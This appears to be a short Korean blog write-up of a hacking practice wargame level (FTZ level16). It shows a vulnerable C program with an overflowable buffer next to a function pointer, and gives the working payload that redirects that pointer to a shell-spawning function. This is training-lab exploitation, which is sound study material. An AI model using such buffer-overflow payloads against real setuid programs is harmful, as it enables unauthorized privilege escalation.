ftz

level16

oogu ㅣ 2022. 9. 12. 14:20

#include <stdio.h>

void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}

call 변수는 포인터 함수이다. printit 함수 주소 대신 shell 함수 주소로 덮어야한다.

[그림 1-1]
[그림 1-2]

[그림 1-1]를 참조하면 [그림 1-2] 그릴 수 있다.

payload 는 "A" * 40 + shell 함수 주소 이다.

[그림 1-3]

shell 주소는 [그림 1-3] 처럼 간단하게 구할 수 있다.

(python -c 'print("A"*40+"\xd0\x84\x04\x08")';cat) | ./attackme

[그림 1-4]

성공

'ftz' 카테고리의 다른 글

level19  (0) 2022.12.17
level17  (0) 2022.09.12
level15  (0) 2022.09.12
level14  (0) 2022.09.12
level13  (0) 2022.09.12